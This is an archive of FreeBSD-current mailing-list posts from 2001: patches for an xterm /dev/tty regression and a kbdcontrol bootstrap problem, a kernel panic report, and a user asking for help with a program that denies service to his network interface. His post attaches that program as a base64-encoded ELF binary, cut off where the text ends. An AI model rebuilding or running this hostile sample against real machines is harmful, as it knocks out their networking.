(localhost [127.0.0.1]) by critter.freebsd.dk (8.11.3/8.11.3) with ESMTP id f4FHkMp35902; Tue, 15 May 2001 19:46:22 +0200 (CEST) (envelope-from phk@critter.freebsd.dk) To: Brian Somers Cc: Peter Wemm , David Wolfskill , current@FreeBSD.ORG Subject: Re: Huh??!? xterm: Error 14, errno 2: No such file or directory In-Reply-To: Your message of "Tue, 15 May 2001 17:40:27 BST." <200105151640.f4FGeR576715@hak.lan.Awfulhak.org> Date: Tue, 15 May 2001 19:46:22 +0200 Message-ID: <35900.989948782@critter> From: Poul-Henning Kamp Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Go ahead! In message <200105151640.f4FGeR576715@hak.lan.Awfulhak.org>, Brian Somers writes: >This makes xterm work again. Any objections to a commit ? > >> David Wolfskill wrote: >> >> > Built -CURRENT & rebooted after mergemaster as usual, and some X >> > applications (xbattbar; xlockmore; oclock) work OK, but no xterm. At >> > least, not from X (XF86-4.0.3). I tried using Ctl-Alt-F2 to get to >> > a non-X login, logged in , set DISPLAY to m147:0.0, issued "xterm &", >> > and got an xterm OK. >> >> Known problem. phk changed the semantics of /dev/tty in the most recent >> commits. Traditional behavior for a process *without* a controlling tty >> when it opens /dev/tty is to get ENXIO. >> >> Formerly, ctty_open() returns ENXIO: >> cttyopen(dev, flag, mode, p) >> { >> struct vnode *ttyvp = cttyvp(p); >> >> if (ttyvp == NULL) >> return (ENXIO); >> ... >> >> >> and now: >> ctty_clone(void *arg, char *name, int namelen, dev_t *dev) >> { >> struct vnode *vp; >> >> if (*dev != NODEV) >> return; >> if (strcmp(name, "tty")) >> return; >> vp = cttyvp(curproc); >> if (vp == NULL) >> return; <<< here, leads to ENOENT. >> *dev = vp->v_rdev; >> } >> >> There used to be a device for the ctty. We still maintain it for the >> non-devfs case. The following hack may work, I have not tested or even >> compiled it: >> >> Index: kern/tty_tty.c >> =================================================================== >> RCS file: /home/ncvs/src/sys/kern/tty_tty.c,v >> retrieving revision 1.34 >> diff -u -r1.34 tty_tty.c >> --- tty_tty.c 2001/05/14 08:22:56 1.34 >> +++ tty_tty.c 2001/05/15 08:30:17 >> @@ -177,6 +177,8 @@ >> >> static void ctty_clone __P((void *arg, char *name, int namelen, dev_t *dev)); >> >> +static dev_t ctty; >> + >> static void >> ctty_clone(void *arg, char *name, int namelen, dev_t *dev) >> { >> @@ -187,9 +189,11 @@ >> if (strcmp(name, "tty")) >> return; >> vp = cttyvp(curproc); >> - if (vp == NULL) >> - return; >> - *dev = vp->v_rdev; >> + if (vp == NULL) { >> + if (ctty) >> + *dev = ctty; >> + } else >> + *dev = vp->v_rdev; >> } >> >> >> @@ -201,6 +205,7 @@ >> >> if (devfs_present) { >> EVENTHANDLER_REGISTER(dev_clone, ctty_clone, 0, 1000); >> + ctty = make_dev(&ctty_cdevsw, 0, 0, 0, 0666, "ctty"); >> } else { >> make_dev(&ctty_cdevsw, 0, 0, 0, 0666, "tty"); >> } >> >> This hack recreates a /dev/ctty hook that works the "old way", and makes >> /dev/tty switch through to that one instead. This is evil and is probably >> even more broken than before, but I think it will work. >> >> The alternative is to edit the XFree86 xterm source and rebuild it. >> look for xc/programs/xterm/main.c where it opens /dev/tty and then >> checks an inclusive list of errno's, including ENXIO and ENODEV etc. >> Add ENOENT to the list of 'acceptable' errors. >> >> Incidently, the xterm binary is broken, it does not use libutil/openpty(). >> >> Cheers, >> -Peter >> -- >> Peter Wemm - peter@FreeBSD.org; peter@yahoo-inc.com; peter@netplex.com.au >> "All of this is for nothing if we don't go to the stars" - JMS/B5 >> >> >> To Unsubscribe: send mail to majordomo@FreeBSD.org >> with "unsubscribe freebsd-current" in the body of the message >> > >-- >Brian > >Don't _EVER_ lose your sense of humour ! > > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-current" in the body of the message > -- Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 phk@FreeBSD.ORG | TCP/IP since RFC 956 FreeBSD committer | BSD since 4.3-tahoe Never attribute to malice what can adequately be explained by incompetence. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue May 15 11:58:14 2001 Delivered-To: freebsd-current@freebsd.org Received: from kalaid.f2f.com.ua (kalaid.f2f.com.ua [62.149.0.33]) by hub.freebsd.org (Postfix) with ESMTP id 48A7E37B424; Tue, 15 May 2001 11:58:02 -0700 (PDT) (envelope-from sobomax@mail-in.net) Received: from Mail-In.Net (borey.f2f.com.ua [62.149.0.24]) by kalaid.f2f.com.ua (8.11.3/8.11.1) with ESMTP id f4FJ0S077303; Tue, 15 May 2001 22:00:29 +0300 (EEST) (envelope-from sobomax@mail-in.net) Received: from vega.vega.com (das0-l79.uic-in.net [212.35.189.206]) by Mail-In.Net (8.11.3/8.H.Z) with ESMTP id f4FIwf011474; Tue, 15 May 2001 21:58:41 +0300 (EEST) Received: from FreeBSD.org (big_brother.vega.com [192.168.1.1]) by vega.vega.com (8.11.3/8.11.3) with ESMTP id f4FIvjk15450; Tue, 15 May 2001 21:57:45 +0300 (EEST) (envelope-from sobomax@FreeBSD.org) Message-ID: <3B017C28.4FFDBCFB@FreeBSD.org> Date: Tue, 15 May 2001 21:57:44 +0300 From: Maxim Sobolev Organization: Vega International Capital X-Mailer: Mozilla 4.77 [en] (WinNT; U) X-Accept-Language: uk,ru,en MIME-Version: 1.0 To: Ruslan Ermilov Cc: cvs-committers@FreeBSD.ORG, cvs-all@FreeBSD.ORG, current@FreeBSD.ORG Subject: Re: cvs commit: src Makefile.inc1 References: <200105141721.f4EHL2056720@freefall.freebsd.org> <20010515161957.A54414@sunbay.com> Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Ruslan Ermilov wrote: > On Mon, May 14, 2001 at 10:21:02AM -0700, Ruslan Ermilov wrote: > > ru 2001/05/14 10:21:02 PDT > > > > Modified files: > > . Makefile.inc1 > > Log: > > Add kbdcontrol(1) to bootstrap-tools. > > This fixes the upgrade path breakage in usr.sbin/sysinstall. > > > > Revision Changes Path > > 1.201 +2 -1 src/Makefile.inc1 > > > Argh, this doesn't work either. I first tried this with some stuff > commented out in Makefile.inc1, and it succeeded. But at the time > kbdcontrol is built in bootstrap-tools, ${WORLDTMP}/usr/include is > not yet populated, and kbdcontrol.c requires an up-to-date header > files. OTOH, the bootstrap-tools are supposed to be built under > the host environment, so compiling against CURRENT sources would > be a bug. Ideas? Perhaps we could rip off the code that dumps keymap file into a little utility on its own and use this utility to bootstrap sysinstall. I could look into this direction if there aren't better ideas. -Maxim To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue May 15 15:36: 4 2001 Delivered-To: freebsd-current@freebsd.org Received: from kalaid.f2f.com.ua (kalaid.f2f.com.ua [62.149.0.33]) by hub.freebsd.org (Postfix) with ESMTP id B147537B42C; Tue, 15 May 2001 15:35:48 -0700 (PDT) (envelope-from sobomax@mail-in.net) Received: from mail.uic-in.net (root@[212.35.189.4]) by kalaid.f2f.com.ua (8.11.3/8.11.1) with ESMTP id f4FMcE080506; Wed, 16 May 2001 01:38:17 +0300 (EEST) (envelope-from sobomax@mail-in.net) Received: from notebook.vega.com (das0-l95.uic-in.net [212.35.189.222]) by mail.uic-in.net (8.11.3/8.11.3) with ESMTP id f4FMZ1130895; Wed, 16 May 2001 01:35:33 +0300 (EEST) (envelope-from sobomax@mail-in.net) Date: Wed, 16 May 2001 01:35:33 +0300 (EEST) Message-Id: <200105152235.f4FMZ1130895@mail.uic-in.net> To: ru@FreeBSD.ORG Cc: cvs-committers@FreeBSD.ORG, cvs-all@FreeBSD.ORG, current@FreeBSD.ORG From: Maxim Sobolev Reply-To: sobomax@FreeBSD.ORG Subject: Re: cvs commit: src Makefile.inc1 X-Mailer: Pygmy (v0.5.7) In-Reply-To: <3B017C28.4FFDBCFB@FreeBSD.org> Content-type: text/plain Content-Transfer-Encoding: quoted-printable Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 15 May 2001 21:57:44 +0300, Maxim Sobolev wrote: > Ruslan Ermilov wrote: > = > > On Mon, May 14, 2001 at 10:21:02AM -0700, Ruslan Ermilov wrote: > > > ru 2001/05/14 10:21:02 PDT > > > > > > Modified files: > > > . Makefile.inc1 > > > Log: > > > Add kbdcontrol(1) to bootstrap-tools. > > > This fixes the upgrade path breakage in usr.sbin/sysinstall. > > > > > > Revision Changes Path > > > 1.201 +2 -1 src/Makefile.inc1 > > > > > Argh, this doesn't work either. I first tried this with some stuff > > commented out in Makefile.inc1, and it succeeded. But at the time > > kbdcontrol is built in bootstrap-tools, ${WORLDTMP}/usr/include is > > not yet populated, and kbdcontrol.c requires an up-to-date header > > files. OTOH, the bootstrap-tools are supposed to be built under > > the host environment, so compiling against CURRENT sources would > > be a bug. Ideas? > = > Perhaps we could rip off the code that dumps keymap > file into a little utility on its own and use this utility to > bootstrap sysinstall. I could look into this > direction if there aren't better ideas. There is at least one easy way - we can check if PASTE is defined and define it to be NOP if it isn't. This would allow to use kbdcontrol as a bootstrap tool on 4-STABLE. See attached patch. -Maxim Index: kbdcontrol.c =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /home/ncvs/src/usr.sbin/kbdcontrol/kbdcontrol.c,v retrieving revision 1.35 diff -d -u -r1.35 kbdcontrol.c --- kbdcontrol.c=092001/05/14 06:15:07=091.35 +++ kbdcontrol.c=092001/05/15 22:31:34 @@ -43,6 +43,10 @@ #include "path.h" #include "lex.h" = +#ifndef PASTE +#define=09PASTE=09NOP=09=09/* For compatibility with previous releases */ +#endif + char ctrl_names[32][4] =3D { =09"nul", "soh", "stx", "etx", "eot", "enq", "ack", "bel", =09"bs ", "ht ", "nl ", "vt ", "ff ", "cr ", "so ", "si ", To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue May 15 15:56: 2 2001 Delivered-To: freebsd-current@freebsd.org Received: from harmony.village.org (rover.bsdimp.com [204.144.255.66]) by hub.freebsd.org (Postfix) with ESMTP id 91AC337B424; Tue, 15 May 2001 15:55:54 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.11.3/8.11.1) with ESMTP id f4FMtsN73887; Tue, 15 May 2001 16:55:54 -0600 (MDT) (envelope-from imp@harmony.village.org) Message-Id: <200105152255.f4FMtsN73887@harmony.village.org> To: sobomax@FreeBSD.org Subject: Re: cvs commit: src Makefile.inc1 Cc: ru@FreeBSD.org, cvs-committers@FreeBSD.org, cvs-all@FreeBSD.org, current@FreeBSD.org In-reply-to: Your message of "Wed, 16 May 2001 01:35:33 +0300." <200105152235.f4FMZ1130895@mail.uic-in.net> References: <200105152235.f4FMZ1130895@mail.uic-in.net> Date: Tue, 15 May 2001 16:55:53 -0600 From: Warner Losh Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <200105152235.f4FMZ1130895@mail.uic-in.net> Maxim Sobolev writes: : There is at least one easy way - we can check if PASTE : is defined and define it to be NOP if it isn't. This would allow : to use kbdcontrol as a bootstrap tool on 4-STABLE. : : See attached patch. Heh. I came up with this independently. It works. I hope I didn't step on any toes by commiting it. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue May 15 16: 2:33 2001 Delivered-To: freebsd-current@freebsd.org Received: from harmony.village.org (rover.bsdimp.com [204.144.255.66]) by hub.freebsd.org (Postfix) with ESMTP id 28D6337B422; Tue, 15 May 2001 16:02:26 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.11.3/8.11.1) with ESMTP id f4FN2PN73955; Tue, 15 May 2001 17:02:25 -0600 (MDT) (envelope-from imp@harmony.village.org) Message-Id: <200105152302.f4FN2PN73955@harmony.village.org> To: Maxim Sobolev Subject: Re: cvs commit: src Makefile.inc1 Cc: Ruslan Ermilov , cvs-committers@FreeBSD.ORG, cvs-all@FreeBSD.ORG, current@FreeBSD.ORG In-reply-to: Your message of "Tue, 15 May 2001 21:57:44 +0300." <3B017C28.4FFDBCFB@FreeBSD.org> References: <3B017C28.4FFDBCFB@FreeBSD.org> <200105141721.f4EHL2056720@freefall.freebsd.org> <20010515161957.A54414@sunbay.com> Date: Tue, 15 May 2001 17:02:25 -0600 From: Warner Losh Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <3B017C28.4FFDBCFB@FreeBSD.org> Maxim Sobolev writes: : Perhaps we could rip off the code that dumps keymap file into a : little utility on its own and use this utility to bootstrap : sysinstall. I could look into this direction if there aren't better : ideas. I think your idea of just defining PASTE is the best way to go. I came up with it independently after trying a number of different ideas on how to get around this. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue May 15 18:36:31 2001 Delivered-To: freebsd-current@freebsd.org Received: from isbalham.ist.co.uk (isbalham.ist.co.uk [192.31.26.1]) by hub.freebsd.org (Postfix) with ESMTP id B446337B423 for ; Tue, 15 May 2001 18:36:22 -0700 (PDT) (envelope-from rb@gid.co.uk) Received: (from uucp@localhost) by isbalham.ist.co.uk (8.11.1/8.11.1) with UUCP id f4G1aGm78717 for current@freebsd.org; Wed, 16 May 2001 02:36:16 +0100 (BST) (envelope-from rb@gid.co.uk) Received: from [194.32.164.2] (eccles [194.32.164.2]) by seagoon.gid.co.uk (8.9.3/8.9.3) with ESMTP id CAA31986 for ; Wed, 16 May 2001 02:10:10 +0100 (BST) (envelope-from rb@gid.co.uk) X-Sender: rb@194.32.164.1 Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Wed, 16 May 2001 02:10:10 +0100 To: current@freebsd.org From: Bob Bishop Subject: panic: sleeping process owns a mutex Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, This while building world, with a kernel cvsup at Fri Apr 27 04:06:40 BST 2001 kern/kern_synch.c:386 sleeping with "vr0" locked from pci/if_vr.c:1315 abridged backtrace: panic() propagate_priority() _mtx_lock_sleep() vr_intr() ithread_loop() fork_exit() fork_trampoline() dmesg: Copyright (c) 1992-2001 The FreeBSD Project. Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994 The Regents of the University of California. All rights reserved. FreeBSD 5.0-current #0: Sun Apr 29 15:34:55 GMT 2001 rb@bludnok.gid.co.uk:/usr/src/sys/compile/GENERIC Timecounter "i8254" frequency 1193182 Hz Timecounter "TSC" frequency 451029428 Hz CPU: AMD-K6(tm) 3D processor (451.03-MHz 586-class CPU) Origin = "AuthenticAMD" Id = 0x58c Stepping = 12 Features=0x8021bf AMD Features=0x80000800 real memory = 130011136 (126964K bytes) avail memory = 120705024 (117876K bytes) Preloaded elf kernel "kernel" at 0xc05a8000. K6-family MTRR support enabled (2 registers) WARNING: Driver mistake: destroy_dev on 154/0 Using $PIR table, 7 entries at 0xc00f0d10 npx0: on motherboard npx0: INT 16 interface pcib0: at pcibus 0 on motherboard pci0: on pcib0 atapci0: port 0xd000-0xd00f,0xd400-0xd403,0xd800-0xd 807,0xe000-0xe003,0xe400-0xe407 irq 14 at device 0.1 on pci0 ata0: at 0x1f0 irq 14 on atapci0 ata1: at 0x170 irq 15 on atapci0 isab0: at device 1.0 on pci0 isa0: on isab0 pci0: at 1.1 (no driver attached) pcib1: at device 2.0 on pci0 pci1: on pcib1 pci1: at 0.0 (no driver attached) pcm0: port 0x9400-0x9403,0x9800-0x9803,0xa000-0xa00f,0xa400-0xa40f ,0xa800-0xa83f irq 5 at device 6.0 on pci0 vr0: port 0x9000-0x90ff mem 0xde800000-0xde80 00ff irq 12 at device 10.0 on pci0 vr0: Ethernet address: 00:50:ba:25:97:f6 miibus0: on vr0 ukphy0: on miibus0 ukphy0: 10baseT, 10baseT-FDX, 100baseTX, 100baseTX-FDX, auto aha0 at port 0x330-0x333 irq 11 drq 5 on isa0 aha0: AHA-1542CF FW Rev. C.0 (ID=45) SCSI Host Adapter, SCSI ID 7, 16 CCBs atkbdc0: at port 0x60,0x64 on isa0 atkbd0: flags 0x1 irq 1 on atkbdc0 kbd0 at atkbd0 fdc0: at port 0x3f0-0x3f5,0x3f7 irq 6 drq 2 on isa0 fdc0: FIFO enabled, 8 bytes threshold fd0: <1440-KB 3.5" drive> on fdc0 drive 0 fd1: <1200-KB 5.25" drive> on fdc0 drive 1 pmtimer0 on isa0 ppc0: at port 0x378-0x37f irq 7 on isa0 ppc0: SMC-like chipset (ECP/EPP/PS2/NIBBLE) in COMPATIBLE mode ppc0: FIFO with 16/16/16 bytes threshold plip0: on ppbus0 lpt0: on ppbus0 lpt0: Interrupt-driven port ppi0: on ppbus0 sc0: at flags 0x100 on isa0 sc0: VGA <16 virtual consoles, flags=0x300> sio0 at port 0x3f8-0x3ff irq 4 flags 0x10 on isa0 sio0: type 16550A sio1 at port 0x2f8-0x2ff irq 3 on isa0 sio1: type 16550A sn0: ioaddr is 0x300 sn0: test1 failed vga0: at port 0x3c0-0x3df iomem 0xa0000-0xbffff on isa0 unknown: can't assign resources unknown: can't assign resources unknown: can't assign resources unknown: can't assign resources unknown: can't assign resources ad0: 13072MB [26559/16/63] at ata0-master UDMA33 Waiting 15 seconds for SCSI devices to settle Mounting root from ufs:/dev/ad0s2a cd0 at aha0 bus 0 target 3 lun 0 cd0: Removable CD-ROM SCSI-2 device cd0: 3.300MB/s transfers cd0: Attempt to query device size failed: NOT READY, Medium not present -- Bob Bishop (0118) 977 4017 international code +44 118 rb@gid.co.uk fax (0118) 989 4254 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue May 15 19:21: 4 2001 Delivered-To: freebsd-current@freebsd.org Received: from lamborghini.indocyber.com (lamborghini.indocyber.com [202.180.0.86]) by hub.freebsd.org (Postfix) with SMTP id 223AE37B42C for ; Tue, 15 May 2001 19:20:48 -0700 (PDT) (envelope-from john@office.naver.co.id) Received: (qmail 19798 invoked from network); 16 May 2001 02:13:44 -0000 Received: from unknown (HELO dante.naver.co.id) (202.158.92.193) by lamborghini.indocyber.com with SMTP; 16 May 2001 02:13:44 -0000 Received: by dante.naver.co.id (Postfix, from userid 1000) id 36539BDF2A; Wed, 16 May 2001 09:20:35 +0700 (JAVT) Date: Wed, 16 May 2001 09:20:35 +0700 From: John Indra To: freebsd-questions@freebsd.org Cc: freebsd-current@freebsd.org Subject: My network is dead because of this program :( Message-ID: <20010516092035.A79109@office.naver.co.id> Mail-Followup-To: freebsd-questions@freebsd.org, freebsd-current@freebsd.org Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="BXVAT5kNtrzKuDFl" Content-Disposition: inline X-Mailer: Mutt 1.2.5i on FreeBSD 5.0-20010210-CURRENT i386 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --BXVAT5kNtrzKuDFl Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Dear all... First of all, really sorry for cross-posting... I am running a -CURRENT system (Apr 30th 2001). There is a user in my machine running this small program to DoS my xl0 interface. I doubt that this program is specifically designed for xl cards though. Once the program is started, it starts forking childs I assume. Then after sometime, this messages start popping to my screen: xl0: no memory for rx lists -- packet dropped After going to single user mode, cause I can't kill the offending program once it is running in multiuser mode (even kill -9 won't work on my system), then coming back to multiuser mode, I tried to run it and trace what it does with truss. But, truss didn't seem to output anything at all. Then, I saw the program state in top and it said the program is in mbuf state. I have searched all mailing lists archieves in http://www.freebsd.org/search/search.html#mailinglists but wierdly, there are no articles shown when I enter this as a query: "no memory for rx list" Can anyone help me trace what the program does? And how can I prevent the program to DoS my network interface? Even when the program is started by unprivileged user, it works, it DoS my network interface. Is this a bug? I have attached the offending program with this mail. Please don't run it on production system! You have been warned! Thank you very much... /john Live Free OR Die --BXVAT5kNtrzKuDFl Content-Type: application/octet-stream Content-Disposition: attachment; filename=x Content-Transfer-Encoding: base64 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 AAAAAAAAAAAAAAEAAAAAAAAAIwAAAAcAAAACAAAAEIEECBABAAAYAAAAAAAAAAAAAAAEAAAA AAAAADEAAAAFAAAAAgAAACiBBAgoAQAAqAAAAAQAAAAAAAAABAAAAAQAAAA3AAAACwAAAAIA AADQgQQI0AEAAHABAAAFAAAAAQAAAAQAAAAQAAAAPwAAAAMAAAACAAAAQIMECEADAADZAAAA AAAAAAAAAAABAAAAAAAAAEcAAAAJAAAAAgAAAByEBAgcBAAASAAAAAQAAAAIAAAABAAAAAgA AABQAAAAAQAAAAYAAABkhAQIZAQAAAsAAAAAAAAAAAAAAAQAAAAAAAAAVgAAAAEAAAAGAAAA cIQECHAEAACgAAAAAAAAAAAAAAAEAAAABAAAAFsAAAABAAAABgAAABCFBAgQBQAA5AIAAAAA AAAAAAAABAAAAAAAAABhAAAAAQAAAAYAAAD0hwQI9AcAAAYAAAAAAAAAAAAAAAQAAAAAAAAA ZwAAAAEAAAACAAAA+ocECPoHAAABAAAAAAAAAAAAAAABAAAAAAAAAG8AAAABAAAAAwAAAPyX BAj8BwAADAAAAAAAAAAAAAAABAAAAAAAAAB1AAAAAQAAAAMAAAAImAQICAgAAAQAAAAAAAAA AAAAAAQAAAAAAAAAfwAAAAEAAAADAAAADJgECAwIAAAIAAAAAAAAAAAAAAAEAAAAAAAAAIYA AAABAAAAAwAAABSYBAgUCAAACAAAAAAAAAAAAAAABAAAAAAAAACNAAAAAQAAAAMAAAAcmAQI HAgAADAAAAAAAAAAAAAAAAQAAAAEAAAAkgAAAAYAAAADAAAATJgECEwIAABwAAAABQAAAAAA AAAEAAAACAAAAJsAAAAIAAAAAwAAALyYBAi8CAAAHAAAAAAAAAAAAAAABAAAAAAAAACgAAAA AQAAAAAAAAAAAAAAvAgAAMgAAAAAAAAAAAAAAAEAAAAAAAAAqQAAAAcAAAAAAAAAAAAAAIQJ AABQAAAAAAAAAAAAAAABAAAAAAAAABEAAAADAAAAAAAAAAAAAADUCQAArwAAAAAAAAAAAAAA AQAAAAAAAAABAAAAAgAAAAAAAAAAAAAARA4AAHAEAAAXAAAALwAAAAQAAAAQAAAACQAAAAMA 